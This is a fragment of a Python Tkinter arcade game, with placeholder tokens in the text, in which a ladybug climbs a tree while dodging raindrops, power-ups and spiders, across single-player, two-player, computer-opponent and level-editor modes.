>= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - data.r and bug.x <= data.\n player1X + data.r):\n data.winner = 'player2'\n if (bug.y >= data.player2Y - data.r and bug.y <= data.player2Y +\n data.r):\n if (bug.x >= data.player2X - data.r and bug.x <= data.\n player2X + data.r):\n data.winner = 'player1'\n\n\ndef drawPowerups(canvas, data):\n for bug in data.scaryBug:\n bug.draw(canvas, data)\n for powerUp in data.powerUps:\n powerUp.draw(canvas, data)\n for powerUp in data.invincible:\n powerUp.draw(canvas, data)\n\n\ndef drawHome(canvas, data):\n canvas.create_image(data.homeX, data.homeY, image=data.home)\n\n\n<function token>\n<function token>\n\n\ndef powerUpCoconutShot(data):\n if data.time % 60 == 0 and data.time % 120 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 50 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 100 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef playerMousePressed(event, data):\n checkHome(event, data)\n\n\ndef playerTimerFired(data):\n if data.hit == False and data.level < data.levelMax:\n data.cy -= data.speed\n if data.time % 5 == 0:\n data.score += data.level\n if data.cy < 15:\n data.level += 1\n data.cy = data.Player1Max + 10\n data.speed += 2\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n coconutShot(data)\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\ndef playerRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconuts:\n coconut.draw(canvas)\n drawPowerups(canvas, data)\n canvas.create_image(data.cx, data.cy, image=data.ladyBug)\n canvas.create_text(data.width / 6, 50, text='Level: %d' % data.level,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(data.width / 6, 80, text='Score: %d' % data.score,\n font='Arial 18 bold', fill='yellow')\n canvas.create_text(2 * data.width / 3, 660, text=\n \"\"\"The greater the level, the more points get\n added to your score!\"\"\"\n , font='Arial 15 bold', fill='yellow')\n if data.hit == True:\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n deadScreen)\n canvas.create_text(data.width / 2, data.height / 4, text=\n 'You Lose! Better Luck Next Time!', font='Helvetica 23 bold',\n fill='yellow')\n canvas.create_text(data.width / 2, 280, text='Score: %d' % data.\n score, font='Arial 13 bold', fill='yellow')\n if data.level >= 8:\n madeIt(canvas, data)\n drawHome(canvas, data)\n\n\n<function token>\n\n\ndef drop2Player(data):\n if data.winner == None and data.pauseDrops == False:\n if data.time % 15 == 0:\n xPosition1 = random.randint(0, 385)\n if abs(xPosition1 - 100) > 25 and abs(xPosition1 - 360) > 25:\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(xPosition1, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(xPosition1 + 410, 0))\n if data.time % 12 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconuts1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconuts2.append(Coconuts(755, 0))\n powerupDrop2Player(data)\n\n\n<function token>\n<function token>\n<function token>\n<function token>\n\n\ndef powerupTimerFired(data):\n for coconut in data.coconuts1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n hit2Player(data)\n for coconut in data.coconuts2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\n<function token>\n\n\ndef winner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 1', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! Player 2', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\n<function token>\n<function token>\n\n\ndef checkMiddle(event, data):\n if data.medX - data.r <= event.y <= data.medX + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.rainSpeed = 'drizzle'\n data.drizzle = data.click\n data.rain, data.thunderstorm = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.rainSpeed = 'rain'\n data.rain = data.click\n data.drizzle, data.thunderstorm = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.rainSpeed = 'thunderstorm'\n data.thunderstorm = data.click\n data.drizzle, data.rain = data.notClick, data.notClick\n\n\ndef checkLast(event, data):\n if data.last - data.r <= event.y <= data.last + data.r:\n if data.easyY - 2 * data.r <= event.x <= data.easyY + 2 * data.r:\n data.powerUpsEditor = True\n data.yes, data.no = data.click, data.notClick\n if data.last - 2 * data.r <= event.x <= data.last + 2 * data.r:\n data.powerUpsEditor = False\n data.no, data.yes = data.click, data.notClick\n if data.enter == data.click:\n if data.enterX - data.r <= event.y <= data.enterX + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'levelCreated'\n\n\ndef drawButtons(canvas, data):\n data.font, data.fill = 'Helvetica 13 bold', 'yellow'\n canvas.create_text(data.medX, data.YST, text='Your Speed:', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Slow', font=data.font)\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium', font=data.font)\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Fast', font=data.font)\n canvas.create_image(data.easyX, data.medX, image=data.drizzle)\n canvas.create_text(data.medX, data.RST, text='Rain Speed:', font=data.\n font, fill=data.fill)\n canvas.create_text(data.easyX, data.medX, text='Drizzle', font=data.font)\n canvas.create_image(data.medX, data.medX, image=data.rain)\n canvas.create_text(data.medX, data.medX, text='Rain', font=data.font)\n canvas.create_image(data.hardX, data.medX, image=data.thunderstorm)\n canvas.create_text(data.hardX, data.medX, text='Heavy', font=data.font)\n canvas.create_text(data.medX, data.PUT, text='PowerUps?', font=data.\n font, fill=data.fill)\n canvas.create_image(data.easyY, data.last, image=data.yes)\n canvas.create_text(data.easyY, data.last, text='Yes', font=data.font)\n canvas.create_image(data.last, data.last, image=data.no)\n canvas.create_text(data.last, data.last, text='No', font=data.font)\n changeEnter(canvas, data)\n\n\ndef changeEnter(canvas, data):\n if (data.powerUpsEditor != None and data.yourSpeed != None and data.\n rainSpeed != None):\n data.enter = data.click\n canvas.create_image(data.medX, data.enterX, image=data.enter)\n canvas.create_text(data.medX, data.enterX, text='Enter', font=data.font)\n\n\n<function token>\n<function token>\n\n\ndef editorRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.height / 2, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.S_P - 10, text=\n 'Edit Your Level!', font='Arial 23 bold', fill='yellow')\n drawButtons(canvas, data)\n drawHome(canvas, data)\n\n\ndef setEverything(data):\n if data.yourSpeed == 'slow':\n data.speed = 6\n elif data.yourSpeed == 'medium':\n data.speed = 10\n elif data.yourSpeed == 'fast':\n data.speed = 14\n if data.rainSpeed == 'thunderstorm':\n data.rSpeed = 7\n elif data.rainSpeed == 'rain':\n data.rSpeed = 10\n elif data.rainSpeed == 'drizzle':\n data.rSpeed = 13\n\n\ndef levelCoconutShot(data):\n if data.levelEditorLives > 0:\n if data.time % int(0.35 * data.rSpeed) == 0:\n xPosition1 = random.randint(0, data.Player1Min - data.buffer)\n xPosition2 = random.randint(770, 870)\n xPosition3 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition1, 0))\n data.coconuts.append(Coconuts(xPosition2, 0))\n if data.time % int(0.55 * data.rSpeed) == 0:\n xPosition3 = random.randint(0, 220)\n xPosition5 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition3, 0))\n data.coconuts.append(Coconuts(xPosition5, 0))\n if data.time % int(data.rSpeed) == 0:\n side = random.choice(data.sides)\n if side == 'l':\n data.coconuts.append(Coconuts(3 * data.width / 8 - 20, 0))\n elif side == 'r':\n data.coconuts.append(Coconuts(7 * data.width / 8 + 40, 0))\n xPosition4 = random.randint(220, 770)\n data.coconuts.append(Coconuts(xPosition4, 0))\n levelPowerUp(data)\n\n\ndef levelPowerUp(data):\n if data.powerUpsEditor == True:\n if data.time % 20 == 0 and data.time % 40 != 0:\n Position = random.choice(data.spotList)\n data.powerUps.append(PowerUps(Position, 0))\n if data.time % 30 == 0:\n Position = random.choice(data.spotList)\n data.invincible.append(Invincible(Position, 0))\n if data.time % 35 == 0:\n Position = random.choice(data.spotList)\n data.scaryBug.append(ScaryBug(Position, 750))\n\n\n<function token>\n\n\ndef levelCreatedMousePressed(event, data):\n checkHome(event, data)\n\n\ndef levelCreatedTimerFired(data):\n setEverything(data)\n if data.levelEditorLives > 0:\n data.cy -= data.speed\n if data.cy < 15:\n data.level += 1\n if data.cy > 40:\n data.time += 1\n if data.pauseDrops != True:\n levelCoconutShot(data)\n if data.powerUpsEditor == False:\n for coconut in data.coconuts:\n coconut.onTimerFired(data)\n hit(data)\n if data.powerUpsEditor == True:\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n for coconut in data.coconuts:\n if data.pauseDrops == False:\n coconut.onTimerFired(data)\n if data.beInvincible == False:\n hit(data)\n if data.start != None:\n if abs(data.start - data.cy) >= 120:\n data.pauseDrops, data.beInvincible = False, False\n\n\n<function token>\n\n\ndef winEditor(canvas, data):\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='You Made it!', font=\n 'Arial 23 bold', fill='yellow')\n\n\n<function token>\n\n\ndef drawDifficulties(canvas, data):\n canvas.create_text(data.medX, data.AITY, text='Computer Difficulty:',\n font='Arial 23 bold', fill='yellow')\n canvas.create_image(data.easyX, data.easyY, image=data.slow)\n canvas.create_text(data.easyX, data.easyY, text='Easy')\n canvas.create_image(data.medX, data.easyY, image=data.medium)\n canvas.create_text(data.medX, data.easyY, text='Medium')\n canvas.create_image(data.hardX, data.easyY, image=data.fast)\n canvas.create_text(data.hardX, data.easyY, text='Hard')\n if data.difficulty != None:\n data.enter = data.click\n canvas.create_image(data.medX, data.enterY, image=data.enter)\n canvas.create_text(data.medX, data.enterY, text='Enter')\n\n\ndef difficultyMousePressed(event, data):\n checkHome(event, data)\n if data.easyY - data.r <= event.y <= data.easyY + data.r:\n if data.easyX - 2 * data.r <= event.x <= data.easyX + 2 * data.r:\n data.difficulty = data.difS\n data.slow = data.click\n data.medium, data.fast = data.notClick, data.notClick\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.difficulty = data.difM\n data.medium = data.click\n data.slow, data.fast = data.notClick, data.notClick\n if data.hardX - 2 * data.r <= event.x <= data.hardX + 2 * data.r:\n data.difficulty = data.difH\n data.fast = data.click\n data.slow, data.medium = data.notClick, data.notClick\n if data.enter == data.click:\n if data.enterY - data.r <= event.y <= data.enterY + data.r:\n if data.medX - 2 * data.r <= event.x <= data.medX + 2 * data.r:\n data.mode = 'AI'\n\n\n<function token>\n\n\ndef rainDrop(data):\n xPosition = random.randint(0, data.width)\n data.editorDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n\n\ndef hitAI1(data, distance):\n for coconut in data.coconutsAI1:\n if (data.player1Y - data.r - coconut.y <= distance and data.\n switchOnProgress == False):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r or AISwitchBug(data, distance) == True):\n testInt = random.randint(0, 9)\n if testInt <= data.difficulty:\n data.switchOnProgress = True\n if data.player1X == 150:\n data.player1X = 340\n else:\n data.player1X = 150\n data.switchOnProgress = False\n if (coconut.y >= data.player1Y - data.r and coconut.y <= data.\n player1Y + data.r):\n if (coconut.x >= data.player1X - data.r and coconut.x <= data.\n player1X + data.r):\n data.player1Y += 50\n data.coconutsAI1.remove(coconut)\n\n\ndef AISwitchBug(data, distance):\n for scaryBug in data.scaryBug:\n if (data.player1Y - data.r - scaryBug.y <= distance and data.\n switchOnProgress == False):\n if (scaryBug.x >= data.player1X - data.r and scaryBug.x <= data\n .player1X + data.r):\n return True\n\n\n<function token>\n<function token>\n\n\ndef addExtraCoconut(data):\n if data.time % 18 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(140, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(540, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.coconutsAI1.append(Coconuts(344, 0))\n if data.pause2Drop != True:\n data.coconutsAI2.append(Coconuts(755, 0))\n if data.time % 37 == 0:\n side = random.choice(data.sides)\n if side == 'l':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(140, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(550, 0))\n elif side == 'r':\n if data.pause1Drop != True:\n data.powerUps.append(PowerUps(344, 0))\n if data.pause2Drop != True:\n data.powerUps.append(PowerUps(755, 0))\n\n\n<function token>\n\n\ndef AIKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n if data.winner == None:\n if event.keysym == 'Left' and data.onLeft1 == False:\n data.onLeft1 = True\n data.player2X = 550\n elif event.keysym == 'Right' and data.onLeft1 == True:\n data.onLeft1 = False\n data.player2X = 750\n\n\ndef AIMousePressed(event, data):\n checkHome(event, data)\n\n\ndef AITimerFired(data):\n if data.winner == None:\n if data.Invincible1 == False:\n hitAI1(data, 31)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 31)\n for coconut in data.coconutsAI1:\n if data.pause1Drop == False:\n coconut.onTimerFired(data)\n for coconut in data.coconutsAI2:\n if data.pause2Drop == False:\n coconut.onTimerFired(data)\n if data.Invincible1 == False:\n hitAI1(data, 13)\n if data.Invincible2 == True:\n pass\n elif data.Invincible2 == False:\n hitAI2(data, 13)\n data.player1Y -= data.speedAI\n if data.player1Y < 15 and data.player2Y > 15:\n data.winner = 'player1'\n if data.player1Y > 40:\n data.time += 1\n coconutShotAI(data)\n data.player2Y -= data.speedAI\n if data.player2Y < 15 and data.player1Y > 15:\n data.winner = 'player2'\n if data.player2Y > 40:\n data.time += 1\n coconutShotAI(data)\n if data.player1Y < 15 and data.player2Y < 15:\n data.winner = 'tie'\n for powerUp in data.powerUps:\n powerUp.onTimerFired(data)\n hitPause(data)\n powerUpAITimerFired(data)\n\n\ndef powerUpAITimerFired(data):\n for powerUp in data.invincible:\n powerUp.onTimerFired(data)\n hitInvincible(data)\n for bug in data.scaryBug:\n bug.onTimerFired(data)\n hitScaryBug(data)\n if data.start1 != None:\n if abs(data.start1 - data.player1Y) >= 120:\n data.pause1Drop = False\n data.Invincible1 = False\n if data.start2 != None:\n if abs(data.start2 - data.player2Y) >= 120:\n data.pause2Drop = False\n data.Invincible2 = False\n\n\ndef AIRedrawAll(canvas, data):\n canvas.create_image(data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_image(3 * data.width / 4, data.height / 2, image=data.\n halfBackground)\n canvas.create_line(data.width / 2, 0, data.width / 2, data.height, width=10\n )\n canvas.create_line(0, 20, data.width, 20)\n for coconut in data.coconutsAI1:\n coconut.draw(canvas)\n for coconut in data.coconutsAI2:\n coconut.draw(canvas)\n canvas.create_text(50, 40, text='Computer', font='Arial 15 bold', fill=\n 'yellow')\n canvas.create_text(450, 40, text='Player 1', font='Arial 15 bold', fill\n ='yellow')\n drawPowerups(canvas, data)\n canvas.create_image(data.player1X, data.player1Y, image=data.ladyBug)\n canvas.create_image(data.player2X, data.player2Y, image=data.ladyBug)\n AIWinner(canvas, data)\n drawHome(canvas, data)\n\n\ndef AIWinner(canvas, data):\n if data.winner == 'player1':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text='The Computer Won :(',\n font='Arial 23 bold', fill='yellow')\n elif data.winner == 'player2':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'You Made it! You Won!', font='Arial 23 bold', fill='yellow')\n elif data.winner == 'tie':\n canvas.create_rectangle(0, 0, data.width, data.height, fill='black')\n canvas.create_image(data.width / 2, data.height / 2, image=data.\n winScreen)\n canvas.create_image(300, 320, image=data.winBug)\n canvas.create_text(data.width / 2, 100, text=\n 'Tie! You Both Made it!', font='Arial 23 bold', fill='yellow')\n\n\ndef scoreboardKeyPressed(event, data):\n if event.keysym == 'r':\n init(data)\n\n\ndef scoreboardMousePressed(event, data):\n checkHome(event, data)\n\n\ndef scoreboardTimerFired(data):\n difficultyTimerFired(data)\n\n\ndef scoreboardRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.height / 2, image=data.background)\n canvas.create_image(data.width / 2, data.tbgY, image=data.tbg)\n for drop in data.editorDrops:\n drop.draw(canvas)\n canvas.create_text(data.width / 2, data.txtTScore, text='Top Scores!',\n font='Arial 30 bold', fill='yellow')\n canvas.create_text(data.width / 2, data.S_P, text='Score_Player', font=\n 'Arial 20 bold', fill='yellow')\n drawHome(canvas, data)\n data.savedScores\n data.savedScores = readFile('score.txt')\n score = data.savedScores.splitlines()\n scores = []\n for line in score:\n scores.append(line.split(','))\n scores = sorted(scores, key=lambda x: int(x[0]))\n top5 = scores[-data.numScores:]\n top5.reverse()\n for i in range(len(top5)):\n canvas.create_text(data.width / 2, data.scoreShift + i * 50, text=\n top5[i], font='Arial 18 bold', fill='yellow')\n\n\n<function token>\n<function token>\n<function token>\n\n\ndef helpRedrawAll(canvas, data):\n canvas.create_image(data.width / 2, data.helpY, image=data.helpScreen)\n for drop in data.editorDrops:\n drop.draw(canvas)\n drawHome(canvas, data)\n\n\n<function token>\n<code token>\n", "<import token>\n<function token>\n\n\ndef init1(data):\n data.beInvincible = False\n data.Invincible1 = False\n data.Invincible2 = False\n data.scaryBug = []\n data.time = 0\n data.coconutFall = False\n data.sides = ['r', 'l']\n data.level = 1\n data.splashScreenTime = 0\n data.splashScreenDrops = []\n data.background = PhotoImage(file='tree.gif')\n data.deadScreen = PhotoImage(file='deadBug.gif')\n data.ladyBug = PhotoImage(file='lady.gif')\n data.winScreen = PhotoImage(file='treeTop1.gif')\n data.winBug = PhotoImage(file='littleBug.gif')\n data.halfBackground = PhotoImage(file='halfTree.gif')\n data.umbrella = PhotoImage(file='umbrella2.gif')\n data.spider = PhotoImage(file='spider.gif')\n data.hourGlass = PhotoImage(file='hourGlass.gif')\n data.splashScreen = PhotoImage(file='splash.gif')\n init2(data)\n\n\ndef init2(data):\n data.tbg = PhotoImage(file='tbg2.gif')\n data.click = PhotoImage(file='click.gif')\n data.notClick = PhotoImage(file='notClick.gif')\n data.player1X = 150\n data.player1Y = 750\n data.player2X = 550\n data.player2Y = 750\n data.winner = None\n data.speed = 12\n data.speed2 = 12\n data.editorTime = 0\n data.editorDrops = []\n data.margin = 100\n data.enter = False\n data.powerUpsEditor = None\n data.yourSpeed = None\n data.rainSpeed = None\n data.slow = data.notClick\n data.medium = data.notClick\n data.fast = data.notClick\n data.drizzle = data.notClick\n data.rain = data.notClick\n data.thunderstorm = data.notClick\n init3(data)\n\n\n<function token>\n\n\ndef initsplashScreenNumbers(data):\n data.splashButtonY = 425\n data.p1ButtonX = 225\n data.p2ButtonX = 290\n data.edButton = 355\n data.diffButton = 425\n data.helpButton = 490\n data.sboardButton = 555\n data.hitPenalty = 75\n data.splashText = data.height / 2 - 20\n data.lives = 2\n data.levelMax = 8\n data.lane = 94\n data.Player1Min = 270\n data.Player1Max = 740\n data.homeX = 50\n data.homeY = 650\n initScoreBoardHelp(data)\n init1Player(data)\n\n\n<function token>\n\n\ndef init1Player(data):\n data.buffer = 40\n\n\ndef initAI(data):\n data.AITY = 225\n data.easyX = 200\n data.easyY = 300\n data.medX = 400\n data.hardX = 600\n data.enterY = 450\n data.difS = 4\n data.difM = 6\n data.difH = 8\n data.last = 500\n data.enterX = 575\n data.PUT = 450\n data.RST = 350\n data.YST = 250\n\n\n<function token>\n\n\ndef keyPressed(event, data):\n if data.mode == 'splashScreen':\n splashKeyPressed(event, data)\n elif data.mode == '1Player':\n playerKeyPressed(event, data)\n elif data.mode == '2Player':\n twoPlayerKeyPressed(event, data)\n elif data.mode == 'editor':\n editorKeyPressed(event, data)\n elif data.mode == 'levelCreated':\n levelCreatedKeyPressed(event, data)\n elif data.mode == 'AI':\n AIKeyPressed(event, data)\n elif data.mode == 'difficulty':\n difficultyKeyPressed(event, data)\n elif data.mode == 'scoreboard':\n scoreboardKeyPressed(event, data)\n elif data.mode == 'help':\n helpKeyPressed(event, data)\n\n\n<function token>\n\n\ndef redrawAll(canvas, data):\n if data.mode == 'splashScreen':\n splashScreenRedrawAll(canvas, data)\n elif data.mode == '1Player':\n playerRedrawAll(canvas, data)\n elif data.mode == '2Player':\n twoPlayerRedrawAll(canvas, data)\n elif data.mode == 'editor':\n editorRedrawAll(canvas, data)\n elif data.mode == 'levelCreated':\n levelCreatedRedrawAll(canvas, data)\n elif data.mode == 'AI':\n AIRedrawAll(canvas, data)\n elif data.mode == 'difficulty':\n difficultyRedrawAll(canvas, data)\n elif data.mode == 'scoreboard':\n scoreboardRedrawAll(canvas, data)\n elif data.mode == 'help':\n helpRedrawAll(canvas, data)\n\n\n<function token>\n\n\ndef splashKeyPressed(event, data):\n pass\n\n\ndef splashScreenTimerFired(data):\n data.splashScreenTime += 1\n if data.splashScreenTime % 2 == 1:\n rainDropSplash(data)\n for drop in data.splashScreenDrops:\n drop.onTimerFired(data)\n\n\ndef splashScreenButtons(canvas, data):\n canvas.create_image(data.splashButtonY, data.p1ButtonX, image=data.mode1)\n canvas.create_image(data.splashButtonY, data.p2ButtonX, image=data.mode2)\n canvas.create_image(data.splashButtonY, data.edButton, image=data.mode3)\n canvas.create_image(data.splashButtonY, data.diffButton, image=data.mode4)\n canvas.create_image(data.splashButtonY, data.helpButton, image=data.mode5)\n canvas.create_image(data.splashButtonY, data.sboardButton, image=data.mode6\n )\n\n\ndef rainDropSplash(data):\n xPosition = random.randint(0, 800)\n data.splashScreenDrops.append(Coconuts(xPosition, 0))\n\n\n<function token>\n<function token>\n<function token>\n\n\nclass Coconuts(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.r = 9\n self.fill = 'deep sky blue'\n self.speed = 30\n self.outline = 'blue'\n\n def draw(self, canvas):\n canvas.create_polygon(self.x, self.y - 2 * self.r, self.x - self.r,\n self.y, self.x, self.y + self.r, self.x + self.r, self.y, fill=\n self.fill, outline=self.outline, width=3)\n\n def onTimerFired(self, data):\n self.y += self.speed\n\n\n<function token>\n<function token>\n\n\nclass PowerUps(Coconuts):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.hourGlass)\n\n\ndef hitPause(data):\n for powerUp in data.powerUps:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.pauseDrops = True\n data.start = data.cy\n data.powerUps.remove(powerUp)\n elif data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.pause1Drop = True\n data.start1 = data.player1Y\n data.powerUps.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.pause2Drop = True\n data.start2 = data.player2Y\n data.powerUps.remove(powerUp)\n\n\nclass Invincible(PowerUps):\n\n def __init__(self, x, y):\n super().__init__(x, y)\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.umbrella)\n\n\ndef hitInvincible(data):\n for powerUp in data.invincible:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if powerUp.y >= data.cy - data.r and powerUp.y <= data.cy + data.r:\n if (powerUp.x >= data.cx - data.r and powerUp.x <= data.cx +\n data.r):\n data.beInvincible = True\n data.start = data.cy\n data.invincible.remove(powerUp)\n if data.mode == '2Player' or data.mode == 'AI':\n if (powerUp.y >= data.player1Y - data.r and powerUp.y <= data.\n player1Y + data.r):\n if (powerUp.x >= data.player1X - data.r and powerUp.x <= \n data.player1X + data.r):\n data.Invincible1 = True\n data.start1 = data.player1Y\n data.invincible.remove(powerUp)\n if (powerUp.y >= data.player2Y - data.r and powerUp.y <= data.\n player2Y + data.r):\n if (powerUp.x >= data.player2X - data.r and powerUp.x <= \n data.player2X + data.r):\n data.Invincible2 = True\n data.start2 = data.player2Y\n data.invincible.remove(powerUp)\n\n\nclass ScaryBug(object):\n\n def __init__(self, x, y):\n self.x = x\n self.y = y\n self.speed = 25\n\n def draw(self, canvas, data):\n canvas.create_image(self.x, self.y, image=data.spider)\n\n def onTimerFired(self, data):\n if data.mode == '2Player' or data.mode == 'AI':\n self.speed = 35\n self.y -= self.speed\n if (data.mode == '1Player' or data.mode == 'levelCreated' and data.\n time % 8 == 0):\n side = random.choice(data.sides)\n if side == 'l':\n if self.x - data.lane >= data.Player1Min:\n self.x -= data.lane\n else:\n self.x += data.lane\n elif side == 'r':\n if self.x + data.lane <= data.Player1Max:\n self.x += data.lane\n else:\n self.x -= data.lane\n\n\ndef hitScaryBug(data):\n for bug in data.scaryBug:\n if data.mode == '1Player' or data.mode == 'levelCreated':\n if (bug.y >= data.cy - 1.5 * data.r and bug.y <= data.cy + 1.5 *\n data.r):\n if (bug.x >= data.cx - 1.5 * data.r and bug.x <= data.cx + \n 1.5 * data.r):\n data.hit = True\n data.lives = 0\n data.levelEditorLives = 0\n if data.mode == '2Player' or data.mode == 'AI':\n if (bug.y >= data.player1Y - data.r and bug.y <= data.player1Y +\n data.r):\n if (bug.x >= data.player1X - 